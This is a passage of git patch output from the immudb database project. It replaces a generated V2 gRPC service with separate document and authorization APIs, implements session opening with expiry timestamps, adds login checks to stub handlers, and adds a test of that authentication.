{ - out := new(CollectionInformation) - err := c.cc.Invoke(ctx, "/immudb.schemav2.ImmuServiceV2/CollectionCreate", in, out, opts...) - if err != nil { - return nil, err - } - return out, nil -} - -func (c *immuServiceV2Client) CollectionGet(ctx context.Context, in *CollectionGetRequest, opts ...grpc.CallOption) (*CollectionInformation, error) { - out := new(CollectionInformation) - err := c.cc.Invoke(ctx, "/immudb.schemav2.ImmuServiceV2/CollectionGet", in, out, opts...) - if err != nil { - return nil, err - } - return out, nil -} - -func (c *immuServiceV2Client) CollectionList(ctx context.Context, in *CollectionListRequest, opts ...grpc.CallOption) (*CollectionListResponse, error) { - out := new(CollectionListResponse) - err := c.cc.Invoke(ctx, "/immudb.schemav2.ImmuServiceV2/CollectionList", in, out, opts...) - if err != nil { - return nil, err - } - return out, nil -} - -func (c *immuServiceV2Client) CollectionDelete(ctx context.Context, in *CollectionDeleteRequest, opts ...grpc.CallOption) (*empty.Empty, error) { - out := new(empty.Empty) - err := c.cc.Invoke(ctx, "/immudb.schemav2.ImmuServiceV2/CollectionDelete", in, out, opts...) - if err != nil { - return nil, err - } - return out, nil -} - -// ImmuServiceV2Server is the server API for ImmuServiceV2 service. -// All implementations should embed UnimplementedImmuServiceV2Server -// for forward compatibility -type ImmuServiceV2Server interface { - LoginV2(context.Context, *LoginRequest) (*LoginResponseV2, error) - DocumentInsert(context.Context, *DocumentInsertRequest) (*schema.VerifiableTx, error) - DocumentSearch(context.Context, *DocumentSearchRequest) (*DocumentSearchResponse, error) - CollectionCreate(context.Context, *CollectionCreateRequest) (*CollectionInformation, error) - CollectionGet(context.Context, *CollectionGetRequest) (*CollectionInformation, error) - CollectionList(context.Context, *CollectionListRequest) (*CollectionListResponse, error) - CollectionDelete(context.Context, *CollectionDeleteRequest) (*empty.Empty, error) -} - -// UnimplementedImmuServiceV2Server should be embedded to have forward compatible implementations. -type UnimplementedImmuServiceV2Server struct { -} - -func (UnimplementedImmuServiceV2Server) LoginV2(context.Context, *LoginRequest) (*LoginResponseV2, error) { - return nil, status.Errorf(codes.Unimplemented, "method LoginV2 not implemented") -} -func (UnimplementedImmuServiceV2Server) DocumentInsert(context.Context, *DocumentInsertRequest) (*schema.VerifiableTx, error) { - return nil, status.Errorf(codes.Unimplemented, "method DocumentInsert not implemented") -} -func (UnimplementedImmuServiceV2Server) DocumentSearch(context.Context, *DocumentSearchRequest) (*DocumentSearchResponse, error) { - return nil, status.Errorf(codes.Unimplemented, "method DocumentSearch not implemented") -} -func (UnimplementedImmuServiceV2Server) CollectionCreate(context.Context, *CollectionCreateRequest) (*CollectionInformation, error) { - return nil, status.Errorf(codes.Unimplemented, "method CollectionCreate not implemented") -} -func (UnimplementedImmuServiceV2Server) CollectionGet(context.Context, *CollectionGetRequest) (*CollectionInformation, error) { - return nil, status.Errorf(codes.Unimplemented, "method CollectionGet not implemented") -} -func (UnimplementedImmuServiceV2Server) CollectionList(context.Context, *CollectionListRequest) (*CollectionListResponse, error) { - return nil, status.Errorf(codes.Unimplemented, "method CollectionList not implemented") -} -func (UnimplementedImmuServiceV2Server) CollectionDelete(context.Context, *CollectionDeleteRequest) (*empty.Empty, error) { - return nil, status.Errorf(codes.Unimplemented, "method CollectionDelete not implemented") -} - -// UnsafeImmuServiceV2Server may be embedded to opt out of forward compatibility for this service. -// Use of this interface is not recommended, as added methods to ImmuServiceV2Server will -// result in compilation errors. -type UnsafeImmuServiceV2Server interface { - mustEmbedUnimplementedImmuServiceV2Server() -} - -func RegisterImmuServiceV2Server(s grpc.ServiceRegistrar, srv ImmuServiceV2Server) { - s.RegisterService(&ImmuServiceV2_ServiceDesc, srv) -} - -func _ImmuServiceV2_LoginV2_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { - in := new(LoginRequest) - if err := dec(in); err != nil { - return nil, err - } - if interceptor == nil { - return srv.(ImmuServiceV2Server).LoginV2(ctx, in) - } - info := &grpc.UnaryServerInfo{ - Server: srv, - FullMethod: "/immudb.schemav2.ImmuServiceV2/LoginV2", - } - handler := func(ctx context.Context, req interface{}) (interface{}, error) { - return srv.(ImmuServiceV2Server).LoginV2(ctx, req.(*LoginRequest)) - } - return interceptor(ctx, in, info, handler) -} - -func _ImmuServiceV2_DocumentInsert_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { - in := new(DocumentInsertRequest) - if err := dec(in); err != nil { - return nil, err - } - if interceptor == nil { - return srv.(ImmuServiceV2Server).DocumentInsert(ctx, in) - } - info := &grpc.UnaryServerInfo{ - Server: srv, - FullMethod: "/immudb.schemav2.ImmuServiceV2/DocumentInsert", - } - handler := func(ctx context.Context, req interface{}) (interface{}, error) { - return srv.(ImmuServiceV2Server).DocumentInsert(ctx, req.(*DocumentInsertRequest)) - } - return interceptor(ctx, in, info, handler) -} - -func _ImmuServiceV2_DocumentSearch_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { - in := new(DocumentSearchRequest) - if err := dec(in); err != nil { - return nil, err - } - if interceptor == nil { - return srv.(ImmuServiceV2Server).DocumentSearch(ctx, in) - } - info := &grpc.UnaryServerInfo{ - Server: srv, - FullMethod: "/immudb.schemav2.ImmuServiceV2/DocumentSearch", - } - handler := func(ctx context.Context, req interface{}) (interface{}, error) { - return srv.(ImmuServiceV2Server).DocumentSearch(ctx, req.(*DocumentSearchRequest)) - } - return interceptor(ctx, in, info, handler) -} - -func _ImmuServiceV2_CollectionCreate_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { - in := new(CollectionCreateRequest) - if err := dec(in); err != nil { - return nil, err - } - if interceptor == nil { - return srv.(ImmuServiceV2Server).CollectionCreate(ctx, in) - } - info := &grpc.UnaryServerInfo{ - Server: srv, - FullMethod: "/immudb.schemav2.ImmuServiceV2/CollectionCreate", - } - handler := func(ctx context.Context, req interface{}) (interface{}, error) { - return srv.(ImmuServiceV2Server).CollectionCreate(ctx, req.(*CollectionCreateRequest)) - } - return interceptor(ctx, in, info, handler) -} - -func _ImmuServiceV2_CollectionGet_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { - in := new(CollectionGetRequest) - if err := dec(in); err != nil { - return nil, err - } - if interceptor == nil { - return srv.(ImmuServiceV2Server).CollectionGet(ctx, in) - } - info := &grpc.UnaryServerInfo{ - Server: srv, - FullMethod: "/immudb.schemav2.ImmuServiceV2/CollectionGet", - } - handler := func(ctx context.Context, req interface{}) (interface{}, error) { - return srv.(ImmuServiceV2Server).CollectionGet(ctx, req.(*CollectionGetRequest)) - } - return interceptor(ctx, in, info, handler) -} - -func _ImmuServiceV2_CollectionList_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { - in := new(CollectionListRequest) - if err := dec(in); err != nil { - return nil, err - } - if interceptor == nil { - return srv.(ImmuServiceV2Server).CollectionList(ctx, in) - } - info := &grpc.UnaryServerInfo{ - Server: srv, - FullMethod: "/immudb.schemav2.ImmuServiceV2/CollectionList", - } - handler := func(ctx context.Context, req interface{}) (interface{}, error) { - return srv.(ImmuServiceV2Server).CollectionList(ctx, req.(*CollectionListRequest)) - } - return interceptor(ctx, in, info, handler) -} - -func _ImmuServiceV2_CollectionDelete_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { - in := new(CollectionDeleteRequest) - if err := dec(in); err != nil { - return nil, err - } - if interceptor == nil { - return srv.(ImmuServiceV2Server).CollectionDelete(ctx, in) - } - info := &grpc.UnaryServerInfo{ - Server: srv, - FullMethod: "/immudb.schemav2.ImmuServiceV2/CollectionDelete", - } - handler := func(ctx context.Context, req interface{}) (interface{}, error) { - return srv.(ImmuServiceV2Server).CollectionDelete(ctx, req.(*CollectionDeleteRequest)) - } - return interceptor(ctx, in, info, handler) -} - -// ImmuServiceV2_ServiceDesc is the grpc.ServiceDesc for ImmuServiceV2 service. -// It's only intended for direct use with grpc.RegisterService, -// and not to be introspected or modified (even as a copy) -var ImmuServiceV2_ServiceDesc = grpc.ServiceDesc{ - ServiceName: "immudb.schemav2.ImmuServiceV2", - HandlerType: (*ImmuServiceV2Server)(nil), - Methods: []grpc.MethodDesc{ - { - MethodName: "LoginV2", - Handler: _ImmuServiceV2_LoginV2_Handler, - }, - { - MethodName: "DocumentInsert", - Handler: _ImmuServiceV2_DocumentInsert_Handler, - }, - { - MethodName: "DocumentSearch", - Handler: _ImmuServiceV2_DocumentSearch_Handler, - }, - { - MethodName: "CollectionCreate", - Handler: _ImmuServiceV2_CollectionCreate_Handler, - }, - { - MethodName: "CollectionGet", - Handler: _ImmuServiceV2_CollectionGet_Handler, - }, - { - MethodName: "CollectionList", - Handler: _ImmuServiceV2_CollectionList_Handler, - }, - { - MethodName: "CollectionDelete", - Handler: _ImmuServiceV2_CollectionDelete_Handler, - }, - }, - Streams: []grpc.StreamDesc{}, - Metadata: "schemav2.proto", -} diff --git a/pkg/server/authorization_operations.go b/pkg/server/authorization_operations.go new file mode 100644 index 0000000000..9d690e5ac7 --- /dev/null +++ b/pkg/server/authorization_operations.go @@ -0,0 +1,11 @@ +package server + +import ( + "context" + + "github.com/codenotary/immudb/pkg/api/authorizationschema" +) + +func (s *ImmuServer) OpenSessionV2(ctx context.Context, req *authorizationschema.OpenSessionRequestV2) (*authorizationschema.OpenSessionResponseV2, error) { + return nil, nil +} diff --git a/pkg/server/documents_operations.go b/pkg/server/documents_operations.go new file mode 100644 index 0000000000..e94a9f4564 --- /dev/null +++ b/pkg/server/documents_operations.go @@ -0,0 +1,31 @@ +package server + +import ( + "context" + + "github.com/codenotary/immudb/pkg/api/documentsschema" +) + +func (s *ImmuServer) DocumentInsert(ctx context.Context, req *documentsschema.DocumentInsertRequest) (*documentsschema.DocumentInsertResponse, error) { + return nil, nil +} + +func (s *ImmuServer) DocumentSearch(ctx context.Context, req *documentsschema.DocumentSearchRequest) (*documentsschema.DocumentSearchResponse, error) { + return nil, nil +} + +func (s *ImmuServer) CollectionCreate(ctx context.Context, req *documentsschema.CollectionCreateRequest) (*documentsschema.CollectionCreateResponse, error) { + return nil, nil +} + +func (s *ImmuServer) CollectionGet(ctx context.Context, req *documentsschema.CollectionGetRequest) (*documentsschema.CollectionGetResponse, error) { + return nil, nil +} + +func (s *ImmuServer) CollectionList(ctx context.Context, req *documentsschema.CollectionListRequest) (*documentsschema.CollectionListResponse, error) { + return nil, nil +} + +func (s *ImmuServer) CollectionDelete(ctx context.Context, req *documentsschema.CollectionDeleteRequest) (*documentsschema.CollectionDeleteResponse, error) { + return nil, nil +} diff --git a/pkg/server/objects_operations.go b/pkg/server/objects_operations.go deleted file mode 100644 index d2c3e58536..0000000000 --- a/pkg/server/objects_operations.go +++ /dev/null @@ -1,39 +0,0 @@ -package server - -import ( - "context" - - "github.com/codenotary/immudb/pkg/api/schema" - "github.com/codenotary/immudb/pkg/api/schemav2" - "github.com/golang/protobuf/ptypes/empty" -) - -func (s *ImmuServer) LoginV2(ctx context.Context, loginReq *schemav2.LoginRequest) (*schemav2.LoginResponseV2, error) { - return nil, nil -} - -func (s *ImmuServer) DocumentInsert(ctx context.Context, req *schemav2.DocumentInsertRequest) (*schema.VerifiableTx, error) { - return nil, nil -} - -func (s *ImmuServer) DocumentSearch(ctx context.Context, req *schemav2.DocumentSearchRequest) (*schemav2.DocumentSearchResponse, error) { - return nil, nil -} - -func (s *ImmuServer) CollectionCreate(ctx context.Context, req *schemav2.CollectionCreateRequest) (*schemav2.CollectionInformation, error) { - return nil, nil -} - -func (s *ImmuServer) CollectionGet(ctx context.Context, req *schemav2.CollectionGetRequest) (*schemav2.CollectionInformation, error) { - return &schemav2.CollectionInformation{ - Name: "test", - }, nil -} - -func (s *ImmuServer) CollectionList(ctx context.Context, req *schemav2.CollectionListRequest) (*schemav2.CollectionListResponse, error) { - return nil, nil -} - -func (s *ImmuServer) CollectionDelete(ctx context.Context, req *schemav2.CollectionDeleteRequest) (*empty.Empty, error) { - return nil, nil -} diff --git a/pkg/server/server.go b/pkg/server/server.go index 1560619a66..8bc3a26616 100644 --- a/pkg/server/server.go +++ b/pkg/server/server.go @@ -49,8 +49,9 @@ import ( "github.com/codenotary/immudb/cmd/helper" "github.com/codenotary/immudb/cmd/version" + "github.com/codenotary/immudb/pkg/api/authorizationschema" + "github.com/codenotary/immudb/pkg/api/documentsschema" "github.com/codenotary/immudb/pkg/api/schema" - "github.com/codenotary/immudb/pkg/api/schemav2" "github.com/codenotary/immudb/pkg/auth" "github.com/golang/protobuf/ptypes/empty" grpc_middleware "github.com/grpc-ecosystem/go-grpc-middleware" @@ -246,7 +247,8 @@ func (s *ImmuServer) Initialize() error { } schema.RegisterImmuServiceServer(s.GrpcServer, s) - schemav2.RegisterImmuServiceV2Server(s.GrpcServer, s) + documentsschema.RegisterDocumentServiceServer(s.GrpcServer, s) + authorizationschema.RegisterAuthorizationServiceServer(s.GrpcServer, s) grpc_prometheus.Register(s.GrpcServer) s.PgsqlSrv = pgsqlsrv.New(pgsqlsrv.Address(s.Options.Address), pgsqlsrv.Port(s.Options.PgsqlServerPort), pgsqlsrv.DatabaseList(s.dbList), pgsqlsrv.SysDb(s.sysDB), pgsqlsrv.TlsConfig(s.Options.TLSConfig), pgsqlsrv.Logger(s.Logger)) diff --git a/pkg/server/webserver.go b/pkg/server/webserver.go index a86a012f1b..5afd9dd104 100644 --- a/pkg/server/webserver.go +++ b/pkg/server/webserver.go @@ -5,8 +5,9 @@ import ( "crypto/tls" "net/http" + "github.com/codenotary/immudb/pkg/api/authorizationschema" + "github.com/codenotary/immudb/pkg/api/documentsschema" "github.com/codenotary/immudb/pkg/api/schema" - "github.com/codenotary/immudb/pkg/api/schemav2" "github.com/codenotary/immudb/pkg/logger" "github.com/codenotary/immudb/swagger" "github.com/codenotary/immudb/webconsole" @@ -21,7 +22,12 @@ func StartWebServer(addr string, tlsConfig *tls.Config, s *ImmuServer, l logger. } proxyMuxV2 := runtime.NewServeMux() - err = schemav2.RegisterImmuServiceV2HandlerServer(context.Background(), proxyMuxV2, s) + err = documentsschema.RegisterDocumentServiceHandlerServer(context.Background(), proxyMuxV2, s) + if err != nil { + return nil, err + } + + err = authorizationschema.RegisterAuthorizationServiceHandlerServer(context.Background(), proxyMuxV2, s) if err != nil { return nil, err } diff --git a/swagger/swaggeroverrides.js b/swagger/swaggeroverrides.js index fcd7b48262..10b863fa29 100644 --- a/swagger/swaggeroverrides.js +++ b/swagger/swaggeroverrides.js @@ -3,7 +3,11 @@ window.onload = function() { // the following lines will be replaced by docker/configurator, when it runs in a docker-container window.ui = SwaggerUIBundle({ - url: "/api/docs/schemav2.swagger.json", + urls: [ + {"url": "/api/docs/authorizationschema.swagger.json", "name": "Authorization API"}, + {"url": "/api/docs/documentsschema.swagger.json", "name": "Documents API"}, + {"url": "/api/docs/schema.swagger.json", "name": "KV and SQL API"} + ], dom_id: '#swagger-ui', deepLinking: true, presets: [ @@ -13,7 +17,7 @@ window.onload = function() { plugins: [ SwaggerUIBundle.plugins.DownloadUrl ], - layout: "BaseLayout" + layout: "StandaloneLayout" }); // From 25d176b674a940ae9969facc93ec0a9e8bb744b1 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Adam=20Ra=C5=BAniewski?= Date: Wed, 8 Mar 2023 22:06:38 +0100 Subject: [PATCH 0294/1062] Authorization API adjustments --- .../authorizationschema.pb.go | 20 +++-- .../authorizationschema.proto | 5 +- .../authorizationschema.swagger.json | 3 + pkg/api/authorizationschema/docs.md | 1 + pkg/server/authorization_operations.go | 35 +++++++- pkg/server/documents_operations.go | 24 ++++++ pkg/server/documents_operations_test.go | 80 +++++++++++++++++++ 7 files changed, 159 insertions(+), 9 deletions(-) create mode 100644 pkg/server/documents_operations_test.go diff --git a/pkg/api/authorizationschema/authorizationschema.pb.go b/pkg/api/authorizationschema/authorizationschema.pb.go index 5c9ace726c..ed8b25a48e 100644 --- a/pkg/api/authorizationschema/authorizationschema.pb.go +++ b/pkg/api/authorizationschema/authorizationschema.pb.go @@ -91,8 +91,9 @@ type OpenSessionResponseV2 struct { unknownFields protoimpl.UnknownFields Token string `protobuf:"bytes,1,opt,name=token,proto3" json:"token,omitempty"` - ExpirationTimestamp int32 `protobuf:"varint,2,opt,name=expirationTimestamp,proto3" json:"expirationTimestamp,omitempty"` - InactivityTimestamp int32 `protobuf:"varint,3,opt,name=inactivityTimestamp,proto3" json:"inactivityTimestamp,omitempty"` + ServerUUID string `protobuf:"bytes,2,opt,name=serverUUID,proto3" json:"serverUUID,omitempty"` + ExpirationTimestamp int32 `protobuf:"varint,3,opt,name=expirationTimestamp,proto3" json:"expirationTimestamp,omitempty"` + InactivityTimestamp int32 `protobuf:"varint,4,opt,name=inactivityTimestamp,proto3" json:"inactivityTimestamp,omitempty"` } func (x *OpenSessionResponseV2) Reset() { @@ -134,6 +135,13 @@ func (x *OpenSessionResponseV2) GetToken() string { return "" } +func (x *OpenSessionResponseV2) GetServerUUID() string { + if x != nil { + return x.ServerUUID + } + return "" +} + func (x *OpenSessionResponseV2) GetExpirationTimestamp() int32 { if x != nil { return x.ExpirationTimestamp @@ -166,14 +174,16 @@ var file_authorizationschema_proto_rawDesc = []byte{ 0x6f, 0x72, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x70, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x22, - 0x91, 0x01, 0x0a, 0x15, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, + 0xb1, 0x01, 0x0a, 0x15, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x56, 0x32, 0x12, 0x14, 0x0a, 0x05, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x12, + 0x1e, 0x0a, 0x0a, 0x73, 0x65, 0x72, 0x76, 0x65, 0x72, 0x55, 0x55, 0x49, 0x44, 0x18, 0x02, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x0a, 0x73, 0x65, 0x72, 0x76, 0x65, 0x72, 0x55, 0x55, 0x49, 0x44, 0x12, 0x30, 0x0a, 0x13, 0x65, 0x78, 0x70, 0x69, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x54, 0x69, 0x6d, - 0x65, 0x73, 0x74, 0x61, 0x6d, 0x70, 0x18, 0x02, 0x20, 0x01, 0x28, 0x05, 0x52, 0x13, 0x65, 0x78, + 0x65, 0x73, 0x74, 0x61, 0x6d, 0x70, 0x18, 0x03, 0x20, 0x01, 0x28, 0x05, 0x52, 0x13, 0x65, 0x78, 0x70, 0x69, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x54, 0x69, 0x6d, 0x65, 0x73, 0x74, 0x61, 0x6d, 0x70, 0x12, 0x30, 0x0a, 0x13, 0x69, 0x6e, 0x61, 0x63, 0x74, 0x69, 0x76, 0x69, 0x74, 0x79, 0x54, - 0x69, 0x6d, 0x65, 0x73, 0x74, 0x61, 0x6d, 0x70, 0x18, 0x03, 0x20, 0x01, 0x28, 0x05, 0x52, 0x13, + 0x69, 0x6d, 0x65, 0x73, 0x74, 0x61, 0x6d, 0x70, 0x18, 0x04, 0x20, 0x01, 0x28, 0x05, 0x52, 0x13, 0x69, 0x6e, 0x61, 0x63, 0x74, 0x69, 0x76, 0x69, 0x74, 0x79, 0x54, 0x69, 0x6d, 0x65, 0x73, 0x74, 0x61, 0x6d, 0x70, 0x32, 0xc7, 0x01, 0x0a, 0x14, 0x41, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0xae, 0x01, 0x0a, diff --git a/pkg/api/authorizationschema/authorizationschema.proto b/pkg/api/authorizationschema/authorizationschema.proto index 00413f5ff9..bd22646235 100644 --- a/pkg/api/authorizationschema/authorizationschema.proto +++ b/pkg/api/authorizationschema/authorizationschema.proto @@ -22,8 +22,9 @@ message OpenSessionRequestV2 { message OpenSessionResponseV2 { string token = 1; - int32 expirationTimestamp = 2; - int32 inactivityTimestamp = 3; + string serverUUID = 2; + int32 expirationTimestamp = 3; + int32 inactivityTimestamp = 4; } diff --git a/pkg/api/authorizationschema/authorizationschema.swagger.json b/pkg/api/authorizationschema/authorizationschema.swagger.json index 1eee0c882d..717d0f8c0d 100644 --- a/pkg/api/authorizationschema/authorizationschema.swagger.json +++ b/pkg/api/authorizationschema/authorizationschema.swagger.json @@ -67,6 +67,9 @@ "token": { "type": "string" }, + "serverUUID": { + "type": "string" + }, "expirationTimestamp": { "type": "integer", "format": "int32" diff --git a/pkg/api/authorizationschema/docs.md b/pkg/api/authorizationschema/docs.md index c501df81f3..3a58afd91a 100644 --- a/pkg/api/authorizationschema/docs.md +++ b/pkg/api/authorizationschema/docs.md @@ -46,6 +46,7 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | token | [string](#string) | | | +| serverUUID | [string](#string) | | | | expirationTimestamp | [int32](#int32) | | | | inactivityTimestamp | [int32](#int32) | | | diff --git a/pkg/server/authorization_operations.go b/pkg/server/authorization_operations.go index 9d690e5ac7..d33b0066f2 100644 --- a/pkg/server/authorization_operations.go +++ b/pkg/server/authorization_operations.go @@ -2,10 +2,41 @@ package server import ( "context" + "math" + "time" "github.com/codenotary/immudb/pkg/api/authorizationschema" + "github.com/codenotary/immudb/pkg/api/schema" ) -func (s *ImmuServer) OpenSessionV2(ctx context.Context, req *authorizationschema.OpenSessionRequestV2) (*authorizationschema.OpenSessionResponseV2, error) { - return nil, nil +const infinity = time.Duration(math.MaxInt64) + +func (s *ImmuServer) OpenSessionV2(ctx context.Context, loginReq *authorizationschema.OpenSessionRequestV2) (*authorizationschema.OpenSessionResponseV2, error) { + + username := []byte(loginReq.Username) + password := []byte(loginReq.Password) + session, err := s.OpenSession(ctx, &schema.OpenSessionRequest{ + Username: username, + Password: password, + DatabaseName: loginReq.Database, + }) + if err != nil { + return nil, err + } + expirationTimestamp := int32(0) + inactivityTimestamp := int32(0) + now := time.Now() + if s.Options.SessionsOptions.MaxSessionInactivityTime > 0 { + inactivityTimestamp = int32(now.Add(s.Options.SessionsOptions.MaxSessionInactivityTime).Unix()) + } + + if s.Options.SessionsOptions.MaxSessionAgeTime > 0 && s.Options.SessionsOptions.MaxSessionAgeTime != infinity { + expirationTimestamp = int32(now.Add(s.Options.SessionsOptions.MaxSessionAgeTime).Unix()) + } + return &authorizationschema.OpenSessionResponseV2{ + Token: session.SessionID, + ServerUUID: session.ServerUUID, + ExpirationTimestamp: expirationTimestamp, + InactivityTimestamp: inactivityTimestamp, + }, nil } diff --git a/pkg/server/documents_operations.go b/pkg/server/documents_operations.go index e94a9f4564..924c2b25bb 100644 --- a/pkg/server/documents_operations.go +++ b/pkg/server/documents_operations.go @@ -7,25 +7,49 @@ import ( ) func (s *ImmuServer) DocumentInsert(ctx context.Context, req *documentsschema.DocumentInsertRequest) (*documentsschema.DocumentInsertResponse, error) { + _, err := s.getDBFromCtx(ctx, "DocumentInsert") + if err != nil { + return nil, err + } return nil, nil } func (s *ImmuServer) DocumentSearch(ctx context.Context, req *documentsschema.DocumentSearchRequest) (*documentsschema.DocumentSearchResponse, error) { + _, err := s.getDBFromCtx(ctx, "DocumentSearch") + if err != nil { + return nil, err + } return nil, nil } func (s *ImmuServer) CollectionCreate(ctx context.Context, req *documentsschema.CollectionCreateRequest) (*documentsschema.CollectionCreateResponse, error) { + _, err := s.getDBFromCtx(ctx, "CollectionCreate") + if err != nil { + return nil, err + } return nil, nil } func (s *ImmuServer) CollectionGet(ctx context.Context, req *documentsschema.CollectionGetRequest) (*documentsschema.CollectionGetResponse, error) { + _, err := s.getDBFromCtx(ctx, "CollectionGet") + if err != nil { + return nil, err + } return nil, nil } func (s *ImmuServer) CollectionList(ctx context.Context, req *documentsschema.CollectionListRequest) (*documentsschema.CollectionListResponse, error) { + _, err := s.getDBFromCtx(ctx, "CollectionList") + if err != nil { + return nil, err + } return nil, nil } func (s *ImmuServer) CollectionDelete(ctx context.Context, req *documentsschema.CollectionDeleteRequest) (*documentsschema.CollectionDeleteResponse, error) { + _, err := s.getDBFromCtx(ctx, "CollectionDelete") + if err != nil { + return nil, err + } return nil, nil } diff --git a/pkg/server/documents_operations_test.go b/pkg/server/documents_operations_test.go new file mode 100644 index 0000000000..7228f60ee2 --- /dev/null +++ b/pkg/server/documents_operations_test.go @@ -0,0 +1,80 @@ +package server + +import ( + "context" + "fmt" + "testing" + + "github.com/codenotary/immudb/pkg/api/authorizationschema" + "github.com/codenotary/immudb/pkg/api/documentsschema" + "github.com/codenotary/immudb/pkg/auth" + "github.com/stretchr/testify/assert" + "google.golang.org/grpc/metadata" +) + +func TestV2Authentication(t *testing.T) { + dir := t.TempDir() + + serverOptions := DefaultOptions(). + WithDir(dir). + WithMetricsServer(false). + WithAdminPassword(auth.SysAdminPassword). + WithSigningKey("./../../test/signer/ec1.key") + + s := DefaultServer().WithOptions(serverOptions).(*ImmuServer) + + s.Initialize() + + ctx := context.Background() + + _, err := s.DocumentInsert(ctx, &documentsschema.DocumentInsertRequest{}) + assert.ErrorIs(t, err, ErrNotLoggedIn) + + _, err = s.DocumentSearch(ctx, &documentsschema.DocumentSearchRequest{}) + assert.ErrorIs(t, err, ErrNotLoggedIn) + + _, err = s.CollectionCreate(ctx, &documentsschema.CollectionCreateRequest{}) + assert.ErrorIs(t, err, ErrNotLoggedIn) + + _, err = s.CollectionDelete(ctx, &documentsschema.CollectionDeleteRequest{}) + assert.ErrorIs(t, err, ErrNotLoggedIn) + + _, err = s.CollectionList(ctx, &documentsschema.CollectionListRequest{}) + assert.ErrorIs(t, err, ErrNotLoggedIn) + + _, err = s.CollectionGet(ctx, &documentsschema.CollectionGetRequest{}) + assert.ErrorIs(t, err, ErrNotLoggedIn) + + logged, err := s.OpenSessionV2(ctx, &authorizationschema.OpenSessionRequestV2{ + Username: "immudb", + Password: "immudb", + Database: "defaultdb", + }) + assert.NoError(t, err) + assert.NotEmpty(t, logged.Token) + fmt.Println(logged.ExpirationTimestamp) + assert.True(t, logged.InactivityTimestamp > 0) + assert.True(t, logged.ExpirationTimestamp >= 0) + assert.True(t, len(logged.ServerUUID) > 0) + + md := metadata.Pairs("sessionid", logged.Token) + ctx = metadata.NewIncomingContext(context.Background(), md) + _, err = s.DocumentInsert(ctx, &documentsschema.DocumentInsertRequest{}) + assert.NotErrorIs(t, err, ErrNotLoggedIn) + + _, err = s.DocumentSearch(ctx, &documentsschema.DocumentSearchRequest{}) + assert.NotErrorIs(t, err, ErrNotLoggedIn) + + _, err = s.CollectionCreate(ctx, &documentsschema.CollectionCreateRequest{}) + assert.NotErrorIs(t, err, ErrNotLoggedIn) + + _, err = s.CollectionDelete(ctx, &documentsschema.CollectionDeleteRequest{}) + assert.NotErrorIs(t, err, ErrNotLoggedIn) + + _, err = s.CollectionList(ctx, &documentsschema.CollectionListRequest{}) + assert.NotErrorIs(t, err, ErrNotLoggedIn) + + _, err = s.CollectionGet(ctx, &documentsschema.CollectionGetRequest{}) + assert.NotErrorIs(t, err, ErrNotLoggedIn) + +} From fac28b01efa7d54a6af8d064ca21d21b7a1a623c Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Adam=20Ra=C5=BAniewski?= Date: Wed, 8 Mar 2023 22:08:41 +0100 Subject: [PATCH 0295/1062] Changed token to session one --- pkg/api/documentsschema/documentsschema.proto | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkg/api/documentsschema/documentsschema.proto b/pkg/api/documentsschema/documentsschema.proto index 1483d1c081..fbc9455bb6 100644 --- a/pkg/api/documentsschema/documentsschema.proto +++ b/pkg/api/documentsschema/documentsschema.proto @@ -21,8 +21,8 @@ option (grpc.gateway.protoc_gen_swagger.options.openapiv2_swagger) = { value: { type: TYPE_API_KEY in: IN_HEADER - name: "Authorization" - description: "Authentication token, prefixed by Bearer: Bearer " + name: "grpc-metadata-sessionid" + description: "Session token: " } } } From 0f7dd06582ddcf548600138257386e89d73c9f8c Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Adam=20Ra=C5=BAniewski?= Date: Wed, 8 Mar 2023 22:22:39 +0100 Subject: [PATCH 0296/1062] Audit and document proof --- pkg/api/documentsschema/docs.md | 125 +++ pkg/api/documentsschema/documentsschema.pb.go | 996 +++++++++++++----- .../documentsschema/documentsschema.pb.gw.go | 162 +++ pkg/api/documentsschema/documentsschema.proto | 55 + .../documentsschema.swagger.json | 171 ++- .../documentsschema_grpc.pb.go | 72 ++ pkg/server/documents_operations.go | 16 + 7 files changed, 1328 insertions(+), 269 deletions(-) diff --git a/pkg/api/documentsschema/docs.md b/pkg/api/documentsschema/docs.md index 4af42a7ad6..990a0a33a4 100644 --- 